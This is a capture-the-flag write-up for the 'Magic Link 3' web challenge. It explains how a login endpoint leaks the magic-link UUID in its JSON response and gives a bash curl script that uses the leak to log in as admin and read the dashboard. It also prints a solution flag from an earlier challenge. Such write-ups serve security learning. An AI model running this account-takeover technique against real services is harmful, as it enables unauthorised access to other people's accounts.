Magic Link 3
Magic Link 3
Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: admin_account_takeover, authentication_token_reuse, magic_link_uuid_extraction
Summary
Walkthrough of the CUSTOM Web Magic Link 3. Task: a Magic Link Login Service where POST /login leaks the magic-link UUID in the JSON response. Solution: request a login link for admin@udctf.com, extract the UUID from the response, visit /login/
Description
Magic Link Login Service at https://bluehens-magic-link.chals.io
English summary: a web application implementing magic link authentication. The goal is to gain admin access and retrieve the flag from the dashboard. The critical vulnerability is that the magic link UUID is leaked in the API response.
Analysis
Initial Recon
The application provides a magic link login system with the following endpoints:
POST /login— accepts email, generates magic link/login/<uuid>— authenticates user via magic link/dashboard— protected admin area
False Lead: The /.env Route
From previous challenges (Magic Link 1 and 2), we knew about:
/.envexposingTEDDYS_TOKEN/inbox?token=<token>for accessing Teddy's inbox
However, this path leads to the Magic Link 2 flag (udctf{m4g1c_l1nks_4r3_w31rd}), not the Magic Link 3 flag. The intended vulnerability is different.
The Real Vulnerability
When requesting a magic link via POST /login, the server returns a JSON response that includes the UUID of the generated link:
json read-only • copy allowed{ "datetime": "...", "email": "admin@udctf.com", "ip-address": "10.1.0.21", "message": "Magic link generated, check your email.", "uuid": "ukMUBtGrmzJ-ImKk-xCElQ" }
This is a critical information disclosure. The UUID should only be sent to the user's email, never returned in the API response. By leaking the UUID, an attacker can authenticate as any user without access to their email.
Solution
bash read-only • copy allowed#!/bin/bash # Magic Link 3 solve script TARGET="https://bluehens-magic-link.chals.io" # Step 1: Request magic link for admin and extract UUID echo "[*] Requesting magic link for admin@udctf.com..." RESPONSE=$(curl -sk -X POST -F "email=admin@udctf.com" "$TARGET/login") echo "[*] Response: $RESPONSE" UUID=$(echo "$RESPONSE" | grep -oP '"uuid"\s*:\s*"\K[^"]+') echo "[*] Extracted UUID: $UUID" # Step 2: Authenticate using the leaked UUID echo "[*] Authenticating with magic link..." curl -sk -c /tmp/cookies.txt "$TARGET/login/$UUID" > /dev/null # Step 3: Access dashboard echo "[*] Accessing dashboard..." curl -sk -b /tmp/cookies.txt "$TARGET/dashboard"
Output:
html read-only • copy allowed<h1>Welcome Admin</h1><p>Flag: udctf{REDACTED}</p>
Key Takeaways / Lessons
- Mastering admin_account_takeover, authentication_token_reuse, magic_link_uuid_extraction was key to this challenge.
- Always check for common misconfigurations and verify assumptions.
Crafted by XESXOR Research • 2026-04-22 • CUSTOM • Magic Link 3 • Difficulty: Medium